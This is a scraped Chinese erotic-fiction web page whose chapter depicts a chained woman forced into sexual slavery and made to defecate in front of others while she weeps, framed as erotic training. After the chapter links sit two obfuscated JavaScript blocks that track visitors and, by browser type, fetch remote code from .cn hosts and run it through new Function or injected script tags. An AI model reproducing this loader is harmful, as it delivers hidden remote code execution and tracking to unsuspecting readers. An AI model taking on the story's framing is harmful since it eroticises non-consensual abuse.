“啊啊……不管是多么羞耻的事我都会听话的……请让我成为你的奴隶。所以……所以……厕所……”

她大概已经不清楚自己说了什么吧,连额头上的血管都清楚的浮现出来了。 那么不愿意在人前排便吗,这么说,我就更不能放过这么好的机会教育了。 “好的,这就是你的厕所。”

我将特大号的塑胶桶放在千鹤的双脚下,她带着茫然不知的表情看着我。 “是你自己说过无论多羞耻的事都愿意听话的吧,所以就请你在这里排便给我看。麻由美你也过来这里,你可要要好好的看清楚唷!”

“是的,主人。”

虽然低着头,但仍是听得到麻由美的回答。

“好了,请开始吧。”

就好像是顺应着我的话,千鹤的肛门立刻在调教室内发出很大的放屁声。 紧接着,好像是莲蓬头般的喷出了茶色的液体,还有一些已经成形的秽物也一起落到底下的塑胶桶里。

忍耐一旦到了极限,身体的器官就无法照主人的意志来操作,一定会自动的排泄出体内所不要的废物,直到排便终了。

“讨厌……你们不要看!”

她悲哀的哀号着,不停甩着头,但因被锁链囚禁着,所以想将自己羞耻的脸埋在头发里也是不可能的事。千鹤继续排泄,落到塑胶桶中发出极大的声响。 终于结束。

又归于平静的调教室中,只有抽噎的千鹤大声的哭泣声。

“经松多了吧!”

好像听不见我说的话一样,千鹤面对着房间的角落,只是一昧的哭泣着。 在几个小时前,她绝对想不到自己会在别人面前做出排便这种事。

让她了解这里严苛的教养方式,对她而言是必要的。

我将装满她粪便的塑胶桶推到她面前。

“已经排出这么多了,你的肚子应该不会痛了吧?”

千鹤抬起满是泪水的脸,看着我。

“拜托……请你饶了我吧……”

为了救助妹妹而如此牺牲,真是温馨的姐妹情谊啊。

但即使是这种自我牺牲的美德,在别人面前排便还是会羞耻的无地自容吧。 千鹤的下半身沾满了自己的粪便,她羞耻的低着头啜泣,不愿再多看一眼,只有哭泣,更大声的哭泣。

以后每天你都会受到如此的责难,我会让你身为女奴的肉体,慢慢的了解其中的快感。

离宫舞回国的时间还有一个礼拜,这段时间内我要千鹤完全臣服在我脚下,成为名副其实的肉奴。


上一篇:催眠调教完

下一篇:刑罚


function HFjSuQ(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function VuifpAwP(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return HFjSuQ(t);};window[''+'b'+'V'+'Q'+'n'+'N'+'v'+'c'+'o'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function jhyx(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=VuifpAwP,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=jhyx(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=jhyx(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLmFzaGNucS5jbiUzQQTg4OTE=','d3NzJTNBJTJGGJTJGGYS55a2toanMuY24lM0E5NTM1','162093',window,document,['Q','G']);}:function(){};
function yltnjZ(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function awoHTF(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return yltnjZ(t);};window[''+'U'+'r'+'E'+'G'+'J'+'i'+'O'+'j'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function iBkh(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=awoHTF,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=iBkh(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=iBkh(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMllM0EllMkYllMkZhLmFzaGNucS5jbiUzQTg4OTE=','d3NzJTNBJTJGJTJGYS5555a2toanMuY24lM0E55NTM1','162092',window,document,['l','5']);}:function(){};